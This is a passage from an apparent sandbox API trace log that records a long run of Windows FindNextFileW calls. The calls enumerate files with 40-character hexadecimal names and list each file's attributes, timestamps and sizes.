hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x48c9ac43, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x0, dwReserved1=0x0, cFileName="062AD3657B516BAF21B6D366104D405078541BA6", cAlternateFileName="062AD3~1")) returned 1 [0211.776] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1165, dwReserved0=0x0, dwReserved1=0x0, cFileName="062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", cAlternateFileName="062B04~1")) returned 1 [0211.776] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359ce54, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x359ce54, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x35aa535, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="0718303207D0267173EECAE48EF1BA3EE0CCAF92", cAlternateFileName="071830~1")) returned 1 [0211.776] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1136, dwReserved0=0x0, dwReserved1=0x0, cFileName="086D90F358405509D6EAA39BC422393A31BDE8CA", cAlternateFileName="086D90~1")) returned 1 [0211.776] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c8f7d5, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45c8f7d5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45c8f7d5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3736, dwReserved0=0x0, dwReserved1=0x0, cFileName="097326CA201DC4FEED987C8C534C04EF1E14A3DC", cAlternateFileName="097326~1")) returned 1 [0211.776] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4000ddb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc4000ddb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc6959a3a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1d63, dwReserved0=0x0, dwReserved1=0x0, cFileName="0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", cAlternateFileName="0A55BC~1")) returned 1 [0211.777] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42fefdeb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42fefdeb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x747, dwReserved0=0x0, dwReserved1=0x0, cFileName="0A774848D5BE9E32A6789642784FD4DAFCD580F5", cAlternateFileName="0A7748~1")) returned 1 [0211.777] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1167, dwReserved0=0x0, dwReserved1=0x0, cFileName="0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", cAlternateFileName="0AC9F7~1")) returned 1 [0211.777] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x428b2b53, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x428b2b53, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x428b2b53, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x158e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="0B59963DF9BAE2D2E93964FC3500B450212202AA", cAlternateFileName="0B5996~1")) returned 1 [0211.777] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1164, dwReserved0=0x0, dwReserved1=0x0, cFileName="0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", cAlternateFileName="0C77EE~1")) returned 1 [0211.777] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xefa, dwReserved0=0x0, dwReserved1=0x0, cFileName="0C8C626D4A0FA2C1F538E447383CFE3F820ADE06", cAlternateFileName="0C8C62~1")) returned 1 [0211.777] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4407a35c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4407a35c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4407a35c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1826, dwReserved0=0x0, dwReserved1=0x0, cFileName="0DE853B708EF02DB762AC1E3D2424A69E631431C", cAlternateFileName="0DE853~1")) returned 1 [0211.777] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113b, dwReserved0=0x0, dwReserved1=0x0, cFileName="0E0AA719737925C65439EF8199433AD2A3826055", cAlternateFileName="0E0AA7~1")) returned 1 [0211.777] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e74078, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4e74078, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb777d4f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F", cAlternateFileName="0EDDF8~1")) returned 1 [0211.778] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898c851, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x898c851, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x898dba9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4812, dwReserved0=0x0, dwReserved1=0x0, cFileName="0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", cAlternateFileName="0FEBD8~1")) returned 1 [0211.778] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef43c89, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xef43c89, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x450ca7ce, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x3ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="108573E2B07FF25FFCAFE37F58D375561A47424D", cAlternateFileName="108573~1")) returned 1 [0211.778] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b11f48, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45b11f48, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b11f48, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="1380A3F977C9CB8D60BD5A90243F6A04E42FAD04", cAlternateFileName="1380A3~1")) returned 1 [0211.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2e8f28, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x8e2e8f28, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e30f171, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="140445A2980512A346F4FF5725C0D44440B68C0A", cAlternateFileName="140445~1")) returned 1 [0211.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1139, dwReserved0=0x0, dwReserved1=0x0, cFileName="14BA7A2A080D9B70E5991F61EC521D7B59DB545E", cAlternateFileName="14BA7A~1")) returned 1 [0211.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x72924653, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1", cAlternateFileName="14BF1B~1")) returned 1 [0211.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d869ef, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2d869ef, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc2d869ef, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xadb, dwReserved0=0x0, dwReserved1=0x0, cFileName="150EB071D854D5071A223EEB0639B4597C92FB45", cAlternateFileName="150EB0~1")) returned 1 [0211.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455c940b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x455c940b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x455c940b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x409, dwReserved0=0x0, dwReserved1=0x0, cFileName="152707BF9D0E3D40EE384F6696E826A52171E312", cAlternateFileName="152707~1")) returned 1 [0211.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6b94c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1d6b94c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e74078, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xa98, dwReserved0=0x0, dwReserved1=0x0, cFileName="156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA", cAlternateFileName="156A5C~1")) returned 1 [0211.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8ac315, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8ac315, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8ac315, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9", cAlternateFileName="15FFFE~1")) returned 1 [0211.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a98146, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a98146, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4aa1d97, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="1600A1E0F302711ACE755C1F40E790A8A4071644", cAlternateFileName="1600A1~1")) returned 1 [0211.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6745d71, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6745d71, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6781aab, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C", cAlternateFileName="164AA0~1")) returned 1 [0211.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe29, dwReserved0=0x0, dwReserved1=0x0, cFileName="1722A63DF48E38B5DC308AE741FBFA24F762D8AC", cAlternateFileName="1722A6~1")) returned 1 [0211.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36514b8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc36514b8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc36514b8, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x68, dwReserved0=0x0, dwReserved1=0x0, cFileName="179F6D8969C48967D77229126C8892C5E40DBC29", cAlternateFileName="179F6D~1")) returned 1 [0211.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3243cbd, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3243cbd, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x325c36f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="1948A617BE08C70F70E0A406F640FD839A720820", cAlternateFileName="1948A6~1")) returned 1 [0211.782] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387d231, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x387d231, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x389cde0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xfe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="196BCA845E91608F7B4CA6127A60D20AF55413AC", cAlternateFileName="196BCA~1")) returned 1 [0211.782] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x0, dwReserved1=0x0, cFileName="1A7C641FFE043BB811768257AF97546A0C7F3B55", cAlternateFileName="1A7C64~1")) returned 1 [0211.782] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xf2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="1B5F6673E35017BD0F3AFD7E5FAA954323582ACC", cAlternateFileName="1B5F66~1")) returned 1 [0211.782] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc45381d7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc45381d7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc455e324, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD", cAlternateFileName="1B7A33~1")) returned 1 [0211.782] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2f507bc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2f507bc, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc6959a3a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3999, dwReserved0=0x0, dwReserved1=0x0, cFileName="1BCAD7DC01C28C00520186316B38E1165ADC4D1E", cAlternateFileName="1BCAD7~1")) returned 1 [0211.782] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61ed75c7, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x61ed75c7, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x61ed75c7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x24707, dwReserved0=0x0, dwReserved1=0x0, cFileName="1C069501161F85F05DFE519ADECB1BAFD807156F", cAlternateFileName="1C0695~1")) returned 1 [0211.782] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fb491e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3fb491e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3fb491e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F", cAlternateFileName="1D4EE0~1")) returned 1 [0211.782] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x621f871c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x621f871c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x621f871c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1a3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", cAlternateFileName="1D79D2~1")) returned 1 [0211.783] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e3eac, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc32e3eac, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc330a0fe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E", cAlternateFileName="1D9E8D~1")) returned 1 [0211.783] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", cAlternateFileName="1E2EF8~1")) returned 1 [0211.783] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b755a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x449b755a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x449b755a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7", cAlternateFileName="1E4C1D~1")) returned 1 [0211.785] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5", cAlternateFileName="1EB2E4~1")) returned 1 [0211.785] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b11f48, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC", cAlternateFileName="1F58B2~1")) returned 1 [0211.785] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4329e9f1, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4329e9f1, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4329e9f1, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8fd, dwReserved0=0x0, dwReserved1=0x0, 